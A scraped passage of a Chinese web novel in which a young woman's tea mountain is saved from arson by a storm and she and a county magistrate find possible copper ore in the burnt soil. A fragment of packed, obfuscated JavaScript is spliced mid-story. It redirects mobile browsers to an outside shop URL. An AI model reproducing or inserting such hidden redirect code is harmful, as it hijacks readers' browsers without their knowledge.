他面上露出轻松之色,嘴角还一点点的翘了起来。 显然,连他都觉得,这场雨来的及时。 终于证明了这一切都是真的,云莺面上陡然露出个大大的笑容来。 “下雨!”她说,“下一场暴雨!” “咔嚓!” “轰隆!” 暴雨轰然而下,天空像是被谁捅了个窟窿,雨水根本没有从小到大的递进,而是直接就瓢泼下来。 穗儿和柳儿的惊呼声响在耳侧,他们像是在惊叫,又像是在欢笑。 连同周边那些百姓,也都呜啊啊发出各种怪音。 可这些声音云莺全都听不见。 她只紧紧的盯着那燃烧的茶树,那些茶树上的熊熊大火逐渐变小、再变小,直至冒出黑烟,彻底被施虐的暴雨扑灭。 “啊,火灭了!火灭了!” “老天开眼了,老天开眼了!” 随云不知何时走到云莺身侧,高声说了句什么。 可周边太吵了,又是人声,又是雷声和闪电的咔嚓声。 云莺大声与随云说,“我听不见你在说什么!” 随云道:“赶紧下山,这边太危险了!” 危险? 对! 像是这种暴雨天,尤其还有闪电和雷电,人若站在高处,可太容易被劈中了。 这若是被雷击中,那可就全完了。 云莺就忙给随云做了个“回去”的手势,随云直接背起云莺,扭头就往山下跑。 他们这边一有动静,那些看热闹的百姓也都回过神来。 一时间,众人也都意识到此地的危险。谁也不敢再瞧热闹了,却是夹着尾巴赶紧往山下逃窜。 穗儿和柳儿自然紧跟在云莺身后,好在两个丫鬟都皮实,尽管下山路上两人摔了好几个跤,但都有惊无险,成功在山下一处宅子与云莺会和。 也是巧了,云莺他们现如今待的地方,正是那常顺的宅子。 只是不同于茶山被云莺购入了,这宅子却没什么人要,就一直放在这里落灰。 云莺四处看了看宅子,挺普通的一处农家院子,但面积很大,且是一水的青砖瓦房,放在村里边,这绝对是独一份。 但就因为太大了,造价也有些高,百姓们买不起,所以就空置着。 随云见云莺还有闲心四处观看,就说她,“你还是先进去换身衣裳吧,你淋了雨,别再感冒了。” 穗儿和柳儿也说,“这间是女主人的房间,我们看过了,里边还有几身衣裳。只是破旧的很,姑娘先别嫌弃。” “不,不嫌弃,阿嚏!” 穗儿和柳儿脸色都变了,赶紧簇拥着云莺进房换衣裳去。 现在不仅穗儿越发笃定,姑娘就是西王母下凡,就连柳儿,也觉得此事有几分可能性。 看吧,云莺不仅在容貌上,与西王母娘娘有几分相像,在关键时刻,老天爷还降下一场暴雨,庇佑了她的茶山。 想想吧,若是没有这场雨,届时山火肯定会四处蔓延,将这十里八乡烧的寸草不生。 纵火的男人会受惩罚,可云莺作为茶山的主人,也指定要被牵连。 然而,现实却是,就在众人以为走到绝路时,一场暴雨说来就来。 都这么明显了,再说云莺和天上没点关系,那谁也不信啊! 两个丫鬟神神叨叨的,趁着云莺去换衣服的时候,她们凑在一起说小话。 于是,云莺是西王母娘娘的转世这一事实,更加深入两人心。 等云莺换完衣服出来,就觉得两丫鬟对着她更恭敬了。 她当然没想其他,毕竟她只顾着不舒坦了。 她如今身上穿的,乃是别人穿过的衣裳。 这衣裳破破烂烂且不说,关键是有一股怪味儿。另外还因为衣裳不合身,对云莺来说太宽松了,云莺不得不时不时拢一下领口位置,以免走光。 柳儿和穗儿也换了衣裳出来。 她们的衣裳和云莺的衣裳大差不差,总归都破旧的很,看着还有点脏。 但也只能这样了,总归比穿湿衣裳强。 换好衣裳,主仆三人一道走出门,就看见不远处的走廊下,随云正站在那里。 随云也换了衣裳,那衣裳应该是常顺的。常顺矮墩墩,随云又特别颀长挺拔,他那衣裳穿在随云身上,直接把随云的脚踝都露出来了。 云莺三人见状,忍不住哄堂大笑。 随云难得露出窘迫的表情,甚至耳朵根都红了。 他轻咳一声,和云莺说,“暴雨不知何时才停,咱们就先在这宅子歇一歇。你们饿么?若是饿了,我去邻家买些吃的来。” 云莺摸摸空空的肚子,她还真有些饿了。 穗儿和柳儿同样,这几顿饭她们都没用好。 三人一对视,得了,让随云买饭去吧。 随云不知从那里寻来一把油纸伞,撑着伞出门了。临走时他还说,“我把大门关上,防止山上有什么东西下来。另外,我就去隔壁人家,让他们做些吃的拿过来,这厢若是出了什么事儿,你们只管大声喊我,我会立马过来。” 三人自然点头。 如此随云离去了。 好在,在他离开这段时间,并没有人闯进来。如此,三人就站在走廊上看雨,并猜测着,这雨何时才停。 说着说着,不知怎么就说到云莺身上是有些神性在的。 云莺对这个说法嗤之以鼻。 穗儿就说,“下雨了呢。” 柳儿道:“暴雨浇灭了山火。” “暴雨还保住了姑娘的茶山。” “周围的山岭和农田也都幸免于难。” “换做是其余地方着火,这雨就不一定能下来了。” 两个丫鬟你一言我一语,似乎要将此事盖棺定论。 云莺一边打了个喷嚏,一边忙阻止她们,“别人胡咧咧也就算了,你们两人可别跟风。还西王母娘娘,你们见过那个西王母娘娘打喷嚏的?” 话落音,又是一个响亮的喷嚏打出来。 穗儿和柳儿也顾不得与云莺争辩了,却是急的不行的围着她,“姑娘您着凉了吧?” “可别发烧啊。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616638|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这边灶房也不知道有没有生姜和柴火,我去看看能不能给姑娘煮一碗姜汤来驱驱寒。” 生姜自然是没有的,仅有的几根柴,也不足以将一瓢水烧开。 好在这时候随云端了一锅汤面过来了,云莺赶紧喝了一碗汤面,想要发发汗把寒气赶出来。 她倒确实是发汗了,可冷风一吹,她又打了一个喷嚏出来。 云莺有了不妙的预感,她觉得自己距离烧热不远了。 云莺焦灼的在地上走了两圈,她想现在就回县城去,但这明显不可能。毕竟外边的雨水虽然比方才小了一些,但还在大雨的范畴内。这时候回城……怕是回不了。 毕竟他们的马车还在西王母娘娘村,来回跋涉奔波,别说她了,就是随云这种身体硬朗的,也扛不住。 没办法,云莺只能继续在屋里窝着。 但屋里的被褥早就被人抢走了,屋内除了几身破烂不堪的衣裳,再无其他。 最后,实在没有办法,随云劈了一道门点燃成了篝火,几人聚在一个房间里烤火取暖。 天黑了,雨水终于又小了一些。 随云时刻警惕着外边的动静,不时就要起身去看一看。 云莺问他担心什么,随云说,“雨下的时间太长了,而且下的很大,我怕会出现滑坡和泥石流。” 云莺眉头一跳,“应该不至于吧?” “以前不至于,现在说不准。”毕竟二爷年初让人开荒了,到早稻收割时,全县总计开出荒地几千余亩。 开荒对植被的破坏很大,再加上没有及时补种上庄稼,松软的泥土经过暴雨的冲刷,完全可能会导致泥石流。 随云如此一说,云莺一颗心就提起来了。 她忍不住想起自己造的梯田。 到现如今,梯田已经造 了好几座,其上也种植了旱谷。 但还是那句话,旱谷还没长出来,缺少根系来抓牢稳固梯田上的土壤。这一场暴雨下去,她的梯田不会毁了吧? 云莺想七想八,想的根本睡不着觉。 她唉声叹气,忽而又觉得热了,觉得冷了,然后,云莺后知后觉的意识到,自己发烧了。 当云莺意识到这个问题的时候,穗儿也意识到了。 她摸了摸云莺的头,再摸了摸睡着的柳儿的头,最后得出一个结论:不仅云莺发烧了,柳儿也发烧了。且柳儿烧的更为严重一些,她都烧晕过去了。 云莺的荷包,早在来屋头山的时候,就丢了。 荷包不值钱,可荷包中有好几个药瓶,那都是能救命的东西,丢了云莺真挺心疼的。 好在她荷包里的药丢了,随云身上还带着不少。 最终,云莺与柳儿一人吞了一粒治烧热的药丸,迷迷瞪瞪的靠在一起睡了过去。 这一晚云莺自然睡得不舒服,她要么梦见泥石流来了,她跑的太慢被淹没在泥土里;要么梦见地动了,她整个人摇摇晃晃站不稳。 后来云莺被穗儿唤醒,要让她喝点热水,顺便再吃一粒烧热的药,云莺才知道,刚才那些都是自己的梦。 喝了水,吃了药,云莺又睡着了。 这次一觉睡到了大天亮。 等云莺醒来,她的烧热已经退了,除了风寒感冒导致的鼻塞外,她倒是没有别的不适。 昨天脱下的湿衣裳,也被清洗过烘干了,云莺穿上自己干净的衣裳,再次满血复活。 她看着同样精神大好的柳儿,与柳儿说,“还好你也退烧了,不然今天就要把你自己留在这里了。” “姑娘准备去茶山了么?” “去啊,咱们这就出发。” 云莺意气风发,斗志昂扬。 然而,她的话才出口,随云就道:“昨天半夜雨才停,下了这么长时间的雨,茶山脚下的雨水,都到成人腰间了,你即便到了山脚下,也上不去山。” 云莺的面色当即颓丧下来,“可我只和二爷请了三天假,最迟今天下午就要往回赶。若是现在不能到茶山上看看,我这一趟不是白来了么?” 随云瞄她一眼,“你倒也不必这么烦恼。” 云莺纳闷,“为什么?” “因为我昨日连夜传信给二爷了,若是不出岔子,二爷现在应该在来屋头山的路上了。二爷都来了,你自然也可以在这里多留几天了。” 第107章 打茶山的主意 二爷要来屋头山? 这真是一件让云莺没有想到的事情。 这若是让二爷知道,她刚买的茶山差点被人烧了,昨天还险些弄出惊天大祸来,不知道二爷会是什么心思。 云莺愁眉苦脸,觉得自己苦逼极了。 明明自己什么也没做,甚至她本人也是受害者,可就因为这茶山是她的,她就险些招上牢狱之灾。 云莺一张巴掌大的脸皱成一团,她问随云,“二爷也知道茶山着火的事情了?” 随云点头,“我自然要据实以报。” 见云莺面上的苦色更重了,随云笑了,“你怕是还没弄清楚,这件事的严重性。这把火若真是蔓延开来,别说你会有牢狱之灾,就是二爷,这官也当到头了。” 发生了这么严重的事情,是万万不能瞒的。别说这茶山是云莺的,就是别人的,二爷在闻讯后,也得第一时间到现场看看。 云莺呜呜,“我就是太清楚这件事的严重性了。” 云莺唉声叹气,想来依照二爷的英明,是不会怪罪她的。但是她心心念念买下的茶山,才到手就给她捅了这么大的篓子,她都能想到,二爷待会儿看见她时,面上的表情会是什么样子。 但事情却出乎了云莺的预料。 二爷策马到了这宅子外边后,见到她的第一时间,不是似笑非笑的说她“买的好茶山”,而是从上到下将她审视一边,问她,“你可有受伤?” 云莺鼻子一酸,摇摇头,“没有。” 二爷下了马阔步走到她跟前,“没有你垂头丧气做什么?不就是茶山烧了么,那不正好合了你的心意?你本来不也说要替换一部分茶树,要试一试别的品种?” 云莺说:“可是主动换茶树,与被动换茶树,性质肯定是不一样的。再来,因为这茶山着火,还差点闹出大事来。” “火不是没有着起来?” “着起来了,只是着的不多?火烧了半山茶树就下雨了,要不是下雨,这次事儿就大了。” 二爷闻言笑了,“火已经扑灭就好,至于茶树……你是不是还在心疼你的茶树?” 云莺抬眸觑一眼二爷,“您别插科打诨,您知道我不是这个意思。” “那你也没必要这么内疚。总归最后事情也没闹大。只是烧了半山茶而已,若你实在心疼,回头我给你买些茶树补上。” 云莺跺跺脚,“二爷!” 二爷笑了,“行了行了,我不说了。” 二爷面上都是纵容的笑意,“我刚才听你说话鼻音有些重,感冒了不是?” 云莺点点头,不欲多说。 穗儿却心有余悸的,在不远处接了一句话,“不仅感冒了,姑娘还发烧了。昨天一晚上起了两次烧,还好随云大人随身携带着退热的药丸子,要不然那么大的雨,出去找大夫都找不着。” 二爷闻言,本还松散的面色,陡然变得凝重起来,“发烧了怎么不告诉我?” 二爷本欲伸手探一探她的额头,那双修长匀称的手却顿在半空,再没有落下。 云莺似没有看见这画面,只微微侧过头说,“也没什么大事儿,况且现在已经好了。” “好了?” “真的好了,只是有些感冒,这没妨碍的。” 云莺想说,感冒吃药七天好,不吃药一个星期好,这真不是大事儿。但说了“一个星期”,就得和二爷解释一个星期是个什么东西,她就强忍着没说。只又一次重复,“我就是有点鼻塞,其余倒还好。” “不说我了二爷,你这么快就过来了,是天一亮就出发了么?还有,昨天雨那么大,沿途有没有滑坡或泥石流?我之前让人造的那些梯田怎么样,有损坏的么?” 两人在屋里坐下,穗儿端了茶水上来,云莺又赶紧将茶水递给二爷,“您先喝点水,缓一缓再说。” 二爷当真喝了一杯茶,云莺见他一饮而尽,连忙又给他斟了一杯。 现如今正值盛夏,别看昨天下了一场瓢泼大雨,今天的气温有些降低。但总体而言还是热的,而且是有些闷闷的热,好似晚间还要下雨一样。 云莺坐着一动不动,身上都感觉黏腻,更何况二爷本就活力大,如今面上微染薄汗。 可惜,这里没有冰盆,也只能给二爷喝两杯凉茶缓一缓了。 二爷喝完了茶,才把云莺关心的问题说与她听。 他在天降亮时,接到了随云的飞鸽传书。根本都没敢耽搁,立马起身骑上马就过来了。 只是昨夜云归县大部分地方都下了大雨。县衙附近下的没有屋头山大,但也不算小。路上泥泞不堪,马儿赶路困难,如此,才延误到半上午才到了屋头山。 至于滑坡雨泥石流,那倒是不曾有。 毕竟云归县这一个月都没怎么下雨,昨天的雨水落下没多久,就滋润到地里去了。 至于梯田,他没仔细看,只赶路时瞄了几眼,虽然有泥土被冲刷下来,但整体还好,损失不大。 云莺闻言,忍不住念了句阿弥陀佛。 幸好昨天县衙附近的雨水小一些,若是如屋头山这边来一场大暴雨,怕是梯田能毁个七七八八。 二爷闻言就说, “昨天屋头山的雨水很大?” 云莺点头,“是很大。”若不是这雨很大,且来的及时,如今是什么光景且说不准呢。 云莺说:“也多亏这场雨大。” 她仍心有余悸,加上感冒以及昨晚的烧热,到底带走了她不少精气,以至于她现在嘴唇惨白,甚至连素来红润饱满的气色,此时都带了几分病态出来。 二爷心中升起怜惜,“这件事已经过去了,你就不要再想了……” 二爷还想再说些宽慰的话,门外就响起动静来。 却是这屋头山的耆老过来了。 屋头山的耆老是见过二爷的,毕竟他年已六旬,在上年底年底还参加二爷设的百叟宴。 也是因为见过二爷,在听到村里人说,有几个非常俊俏、看着还很气派,还骑着高头大马的后生来了屋头山,老头就心中一动。 他是抱着看一看的心态来了这宅子,熟料,一眼就看见了守在门里的随云。 随云他昨天见过,当时就觉得这小子好容貌,也真是好气势。但不知为何,竟觉得眼熟。 但昨天的场面太混乱了,他也没来得及多想什么。之后因为一场暴雨各回各家,他也将此事抛之脑后。 此时再回忆起来,这人他可不就认识么,这就是县令大人的随从啊! 于是,老头诚惶诚恐的作揖行礼,欲见二爷。 二爷从房间中走出来,云莺紧随其后,就跟在二爷右后一步远的位置。 屋头山的耆老名王顺年,屋头山的人惯称一句“顺子叔”。二爷自然不会如此称呼,但为了给对方体面,见面也称一句,“王叟。” 王叟忙拱手,“还真是您啊县令大人。得您莅临,屋头山蓬荜生辉。” 王叟也不知道自己这话说的对不对。仔细回忆一下,村里那读过书的后生,之前好似这么说过。 王叟话出口又后悔,早知道就不拽文嚼字了。他就一个乡村里的土老汉,还学上读书人的做派了,这不让人笑话么? 二爷自然不会取笑他,也全然没有这样的心思。他一把扶住王顺年,还恭维了对方一句,“昨天那事儿多亏了你,若不是你几次三番阻拦,想必事情闹得更大。” 王叟汗颜,“大人不怪罪就好,岂敢居功?再说,老汉虽拦了,却没拦住,最后依旧让那李大柱放火烧了茶山。” 说起这件事,王顺年至今还心跳剧烈。 当时他就站在山脚下,火是他亲眼看着着起来的。 之前李大柱也几次三番说过要放火烧山,可他们谁也没当真,“若是我之前就当真就好了,还能有所防备。可我全然没把他的威胁放在眼里,以至于差点酿成大祸。” “无事,王叟已尽力,且此事最终在可控范围内,王叟无需自责。” 话至此,二爷问起那纵火的李大柱,“此人现在哪里?” 王叟心虚道:“昨日那畜生放了一把火后,我们急着救火,也没关 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那女人也有清醒的时候,醒过来就想跑,被李大柱打了几次老实了。可不知是身体亏损的厉害,亦或是别的原因,那女人怀不住胎。 时间久了,李大柱都四十的人了,没办法,只能抱了他堂弟的孩子来养。 那是个男孩儿,模样也可爱,只是命不好。就在前几年夏季跟着李大柱游水时,直接溺水淹死了。 这孩子一死,李大柱那媳妇受了刺激,疯的更厉害了。 有一次李大柱去山里找吃的,回来时他那媳妇就不见了。 柳树村很多人都说,看见那女人去河边找孩子了,指定是淹死了。 但也有几个老光棍嫉妒李大柱有个媳妇,他们想占便宜还占不上,就说他那媳妇是嫌弃他无能,跟别人跑了。 李大柱的心性本来就歪了些,被人这么一刺激,精神也有些不正常了。 这几年,他也不好好出去找东西吃,也不种田了,就整日无所事事的闲逛,真就成了村里人人厌恶的二流子。 这不,常顺被逮了,连带着还查出了他贩卖妇女儿童的事儿。也不知道是谁缺德,就跟李大柱说,你那媳妇指不定也是被常 顺拐卖了。 常顺也不知道是真觉得他媳妇被人拐卖了,亦或是想借此坑一笔大的。总之他把这话听到心里去了,且付诸了行动,第二天就找县衙闹了。 到了县衙这边,就不仅是他媳妇被常顺拐卖了,连带着他因天花而死的妹妹,他那溺水的侄儿,都被常顺拐卖了。 王顺年说完李大柱,也是唏嘘不已。 “他昨天还说,要平息事端,就要把茶山赔给他。唉,八成他自己说了什么,他自己都不知道。那小子啊,现在跟个疯子差不多。” 王顺年边说话,边看向二爷,可惜二爷面色平静无波,一丝一毫的情绪都不外漏。 王顺年见状,心中免不了又叹一口气。 他是挺想为李大柱开脱的,也确实是觉得李大柱可怜,想着能救他一命。 可他犯的罪太大了。 故意纵火且还差点造成重大损失,这也就是昨天下了大暴雨,将那翻涌的大火扑灭了,不然,这火真个烧起来,别说李大柱了,指不定连他都得赔进去。 不行了,不能想了,越想越心悸,感觉快不能呼吸了。 王顺年捂着胸口大喘了几口气,才平复下紊乱的心绪,继而他说:“火是被扑灭了,但茶山却有一定的损失,这事儿指定要李大柱来赔。只是大人也知道,李大柱怕是掏不出这个钱……” 王顺年真正想说的是,李大柱无力赔偿茶山的主人,官府指定也不会为李大柱的疯狂买单。那茶山的新主人会不会因为此事,觉得这茶山的风水不利与他,继而将这茶山再次倒手卖了? 若是能卖,县令大人能不能中间帮忙说和一下,顺便帮他们砍砍价,他们村子有意将这几座山买回来。 当然,即便茶山再便宜,他们也掏不出那个银子来的,所以,能不能允许他们用茶山的收入,来偿还债务? 第108章 人死债消 王顺年这么想着,就将话说了出来。 然后,现场突然安静。 二爷面上的表情有些玩味儿,云莺…… 云莺有些愕然。 不是正在说纵火犯李大柱么,这怎么说着说着,就说到她的茶山,还说要从她手中买茶山了,她有说过茶山要对外出售么? 不带强买的啊喂! 云莺面上的表情有些麻木。 王顺年没注意到这些,他也没注意到二爷面上的表情有些奇异。 他还在动之以情,晓之以理。 “大人也知道我们屋头山的来历,这跟前边那五座茶山脱不开关系。原本这五座山是我们村的,可常顺直接走了官府的门路,从官府手里把五座山买了去。” “大人啊,这茶山可攸关我们屋头山的风水。若是这茶山毁了,我们屋头山这些老老少少,死了都没办法去下面见祖宗的。而且这还影响子孙后代,指不定我们村就更穷了。” 云莺默默听着,不发表一言,心中却忍不住吐槽:即便这五座山没被毁,感觉屋头山也没多富裕啊。还不是如这云归县的其余村落一样,百姓们穿着满是补丁的衣裳,穷的吃不起一碗干饭,还一年四季都只能穿着用稻草做的草鞋。 指不定换一换风水,更有利于这边的百姓致富…… 心里这么想,云莺可不敢说,怕被王叟提着草鞋追打。 王叟还在念念有词,云莺的思绪也已经飘远。 突然,她听到一句震惊的“什么?” 云莺赶紧看过来,然后就发现,王叟现在正目光呆滞的看着她。 云莺云里雾里,完全不知道看她做什么。难不成是…… 云莺以眼神询问二爷,二爷就笑了,“你又跑神到哪里了?” 云莺心虚的摇摇头,随即又硬着头皮说,“我也就跑了一会会儿神。” “呵。” 两人全然没在意面前的王叟,顾自凑近了说着小话。 王叟见状,本就崩溃的心绪更崩溃了。 云莺他昨天也见过,甚至因为这女娃娃容貌过度出众,他还多看了几眼。 但也就是单纯的多看两眼罢了,他没多想,更不敢相信,她竟是那几座茶山的新主人。 他即便能想到,随云可能会是那茶山的主人,都绝对想不到云莺身上。 不得不说,王叟还是变相真相了一把。 因为这茶山的地契上,写的可不就是随云的名字么? 即便茶山是云莺的,如今地契也在云莺手里。但云莺与随云之间又没有订立有约束性的契约,这要是随云翻脸不认人,说茶山是随云的,谁也说不出个不是来。 但王叟不知道这件事。 他考虑的简单,纯粹是觉得云莺是个女人,不太像会置办茶山的人。 女人么,尤其是这样的娇滴滴的女人,那肯定是得男人宠的。而这女人但凡有点心眼儿,就不会往这穷乡僻壤买东西。她即便是要置办产业,那也是要城里的铺子、宅子,再不就是城郊的庄子。她置产置到了他们屋头山,她不符合常理啊。 王叟这么想着,忍不住又看了眼云莺。 然后,他敏锐的注意到,这位姑娘与县令大人很亲近。 难不成,这位姑娘并不是随云的妻妾之流,而是县令大人的通房或妾室? 心里这么想,王叟又忍不住回忆昨天随云与云莺是如何相处的。 可昨天兵荒马乱的,谁顾得上理会这些? 不过,只看县令大人与那姑娘丝毫不忌讳被别人看到他们亲近,那两人的关系指定就是光明正大,不怕人言的。 所以,这姑娘真的是县令大人的枕边人啊! 那要从她手中买走茶山,困难岂不是更大了? 先不说县令肯定不会帮他砍价了,就说这姑娘,她都亲自来看茶山了,显然对这茶山还是很喜欢的,那她还会卖了这茶山么? 王叟的心都凉了。 但他还是不死心,不免舔着脸,非常之和煦亲和的问云莺,“姑娘,那茶山你卖么?”他还捧着云莺,“再是没想到,姑娘年纪轻轻,就能掌管那么大的茶山,姑娘当真好本事。只是,茶山的位置太偏僻了,每年盈利也不多,且经此一事,被烧了半座山……” 所以,这茶山可能和你的气场不和,不然那能你一过来,茶山就烧了。所以,姑娘你真的不考虑把这茶山卖了么? 云莺:…… “不好意思啊,但是这茶山我还挺喜欢的,一时半会不准备出手。” 王叟急的又劝,“可这茶山距离县衙太远了,来回一趟要费不少波折。” “没关系,到时候我找个可靠的人来管理茶山就是,不一定每次我都亲自出面。” 王叟再次争取,“可茶山都烧了许多……” “我正好想试种些别的茶树,即便没有这把火,我也要拔掉一些茶树,好为新茶树腾地方。” 王叟捂着胸口,喘息困难。 终于,他死了心。 行吧,不卖就不卖吧。总归他尽了力,之后对村里人也有交代了。 但是,“姑娘说,想找一个可靠的人,帮衬着管理茶山?” 云莺看出了王叟的意思,迟疑的点点头,“我是有这个想法。” “那姑娘看我怎么样?” “你……”云莺其实想说,您都这把年纪了,还能上的了茶山么?昨天她远远的看了一眼,几座茶山都非常陡峭,再有茶树种植的也没有规律可言。真就是凭心情,这边种一棵,那边种一棵,完全不像是现代的茶山那么规矩有序。 这也就加重了在山上行走的风险,老爷子真要是在山上有个万一,她赔不起。 王叟却似看出了云莺的忌讳,赶紧打包票说:“姑娘别看我年纪大,我身子骨可硬朗着呢。十里八乡,和我一般大年纪的,你看看有几个不拄拐的。也就我身子骨结实,如今我一天还能犁出一亩地来。姑娘也别怕我有个万一,家里讹上你,我可以立字据保证。” “再有,我就是这屋头山的耆老,在这屋头山不敢说一言九鼎,最起码我说什么大家都听。这若是由我管着这座山,我给姑娘打包票,绝对不会有那混子赶来山上坏事。若是到了采茶的时节,我还可以召集全村人手,一道过来想给姑娘茶山的茶叶摘了……” 王叟好口才,最终说的云莺吐口同意。 云莺想的是,王叟是地头蛇,能不惹就好不惹。他图的事为屋头山的百姓,谋一份做工的差事。而她图省心省力,还图一个会管茶山的管事,王叟正合适。 双方各有所图,再加上云莺有依仗,也不怕王叟使坏,是以两人说说道道,很快就敲定了此事。 就当云莺准备立字据为证时,外边响起了迅疾的马蹄声。 云莺看向门口,琢磨着是不是随云两人回来了。 果不其然,稍后随云就和雷霆一道下了马,走到院子来。 云莺往两人身后瞅了瞅,又往大门处瞅了瞅,瞅来瞅去就只有两人,李大柱却不见踪影。 云莺皱起了眉,想着李大柱是不是逃跑了。 王叟显然也是这么想的,当即面上的神色说不上好还是不好。 而二爷直接开口问两人,“怎么回事儿?” 随云抹了一把额头上的汗,“二爷,我们去晚了一步,那李大柱死了。” “死了?”这一声却是云莺问的,“怎么就死了?是畏罪自缢的么?” “那倒不是。”随云道:“他住的那间茅草屋朽败的厉害,再加上昨天雨下的太大,椽子直接塌了。好巧不巧,正好砸中李大柱的太阳穴。” 太阳穴那地方,轻轻击打尚且有可能造成头晕、呕吐、昏迷等症状,更何况还是一根椽子直接敲到头上,那太阳穴都被砸的凹陷下去了,人指定死的透透的。 “我们过去时,柳树村的人正忙着刨坑将李大柱下葬。” 说是下葬,其实就是裹了一张席子,准备将李大柱放进泥坑里填上土。 这也是如今大多数人的下葬方法。 有那家里穷的,甚至连一张席子,都舍不得给死者。 当时那些人看见他们俩过去找李大柱,就怀疑李大柱是不是做什么坏事儿了,他们手中还拿着刨土的木锹,恨不能直接丢下木锹,转身就跑。 他与雷霆见状,也没多说,转身就回来了。 不过李大柱这一 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云莺一个趔趄,差点摔个大马趴。 好在二爷及时拉了她一把,她才没出丑。 不过刚才惊了那一下,她一脚踩进淤泥里去了,靴子都脏了。 云莺跺跺脚,也只把靴子上的泥弄下来些,可看着还是很脏。 二爷问,“可带换洗的鞋子了?” 云莺说,“带了的,只是放在马车上。我们是走捷径从穗儿家过来的,马车还停在穗儿家门口。只能等忙完这边的事儿,回头回了穗儿家下哪里再换了。” “也好。” 二爷点点头,随即又问,“所以,这边的人当真信奉西王母娘娘?” 云莺含糊的应了两声,“应,应该是吧。” “哦。” 到了茶山底下,果然 ,越往前走,水越深。 几人不能再往前走,只能站在水边看着远方的茶山。 其余几座山清脆碧绿,被暴雨冲洗过,那上边的茶叶就如同最剔透晶莹的绿宝石。反观另一座,半边山都是黑色的。 云莺深呼吸一口气,“您看看,烧了好大一片。这也就是暴雨来的及时,不然,二爷这官也当到头了。” 二爷说“是”,看来我回头也得给“西王母娘娘上柱香。” 云莺动作僵硬的看向二爷,“给西王母娘娘上香干什么?” 二爷说,“这边的百姓不都说,是因为西王母娘娘保佑,昨天才来了一场暴雨。因为娘娘的恩德,上天才降下甘霖,娘娘功不可没。” “哦,哦,好吧。” “你想上去看看么?” 云莺纳罕的看着二爷,“上去?上哪里去?二爷指的是茶山么?” 二爷颔首,“要去么?” 云莺眸中露出跃跃欲试的神色来,“二爷有办法是不是?” “你说呢?” 云莺想起二爷那身出神入化的功夫,一颗心可耻的动了。 她终究是吐了口,“我想去。” “去”字才刚落音,云莺就感觉自己飞了起来。 是真的飞。 她感觉自己的身体非常轻盈,陡然就拔地而起。但与其同时,一股失重感陡然传来,云莺垂眸就看见了,刚才还阻拦了她的去路的一汪深水。 但也只是一瞬间,很快,云莺又感觉自己落了地。 二爷将云莺放在了一处稍微干净些的地方,随即手掌离开了那纤细柔软的腰身。 云莺一颗心砰砰砰跳的厉害,等她缓过两个呼吸,那颗心才渐渐落了地。 为了掩饰尴尬,云莺轻咳一声说,“感觉这里也没什么好看的。” 到处都是茶树焚烧后的污秽。 那些灰烬与黑漆漆的枝干落了满地,再加上暴雨冲刷下来的残枝断叶,现场真就乌糟的很。 入目很是不雅观,甚至还隐隐能嗅见若有似无的烧焦味儿。 云莺说,“二爷,也没什么好看的,我们回去吧。” 第109章 惊喜发现 云莺说完话看向二爷,却见二爷看着地面上一处污渍,整个人似出了神。 云莺走上前,又唤了一声“二爷”,还挥着手,在二爷眼前晃了晃。 二爷终于看向她,一把抓住了云莺的手。 “二爷你怎么了?二爷你有话好好说。” 二爷抓着云莺的力道有些大,大的似乎轻易就能将云莺的骨头拧断。 云莺感觉有些疼,忍不住蹙起了眉头。 二爷此时终于回了神,也看见了他把云莺的手腕攥红了,他几乎是立刻松开了云莺的手腕,还含糊的说了声,“对不住。” 云莺说:“没什么了,也就是看着红,其实不太疼。话说回来,二爷您看到什么了,怎么还出起神来了?” 二爷眸光深深的看着云莺,引领她走到一处地方,“你过来看。” “看什么啊?”嘴里询问着,云莺的动作却很顺从。她乖觉的跟着二爷踏在那些烧焦的茶枝上,走了十余步才停下来。 云莺记得这个地方,这里应该就是最先起火的位置。 也因为火起的较早,这边的茶树几乎被烧干净了。茶树烧成的灰被雨水冲走了,裸露的地面被暴雨奋力冲刷,露出深层的土壤来。 等等,土壤。 云莺看一眼二爷,就见二爷正垂首看着她,云莺指指那个颜色略有些异样的东西,“二爷,您是要让我看这个么?” 二爷颔首,“你果然认识。” “不,我不认识。也不能这么说,我,我好像在书上看到过。” 云莺又走近了些,蹲下身,伸出手指去摸地上那或黑或褐的一块物体。 这块儿东西表面凹凸不平,甚至出现裂纹和剥落,光泽也黯淡的很,看起来很时粗糙不起眼。打眼一看,似乎和茶山上那许许多都燃烧的木疙瘩没什么两样。 可仔细看,就能发现在黑色或褐色之外,还有些黄色或棕色,更甚者,还有些绿色的斑点。 能在一种物体上,同时出现这么多颜色,再联想到这座茶山上刚起过大火,云莺就忍不住想起了一样东西。 但是,可能么? 不管可能还是不可能,云莺都抱着万一的心思,开口问二爷说,“这是黄铜么?” “不确定,我也只在书上看过黄铜矿。” 二爷轻声说,“色黄或棕,有绿色铜化产生的斑点,经火烧后变为暗色调,呈现黑色或深褐色的外观。” 云莺点头,自然的接着往后说,“经火烧后出现凹凸不平,甚至有裂纹和变形,颜色暗淡,光泽丧失……” 云莺轻轻的喊了一声,“二爷。” “嗯。” “这大概率就是黄铜了。” “确定么?” 云莺摇摇头,又点点头,“您拿回去找人看看吧,八九不离十就是了。” 二爷的视线落在云莺素白的掌心中。 也是生平第一次,他的注意力不在云莺的手,而是在她手中那团黑褐色的物体上。 但继而,他又抬头看向了云莺,眸光深邃幽沉,“黄铜通常是金银矿的伴生物……” 云莺点头,声音压得非常非常低,“所以,有可能是金矿,有可能是银矿,但也有可能就是普通的黄铜矿。” “是铜矿也不错。”二爷终究是伸出手去接那块黑褐色的东西,但云莺却又将手缩回去。 她拿出自己的帕子,将那块儿物体团团包裹住,这才递给二爷,“这样不脏手。” 二爷默默的看着她,将自己的手帕递给了她,“擦擦手吧。” “哦,好的。” 等两人从山上下去时,包括随云在内的诸人,就注意到,两人的神情严肃许多。 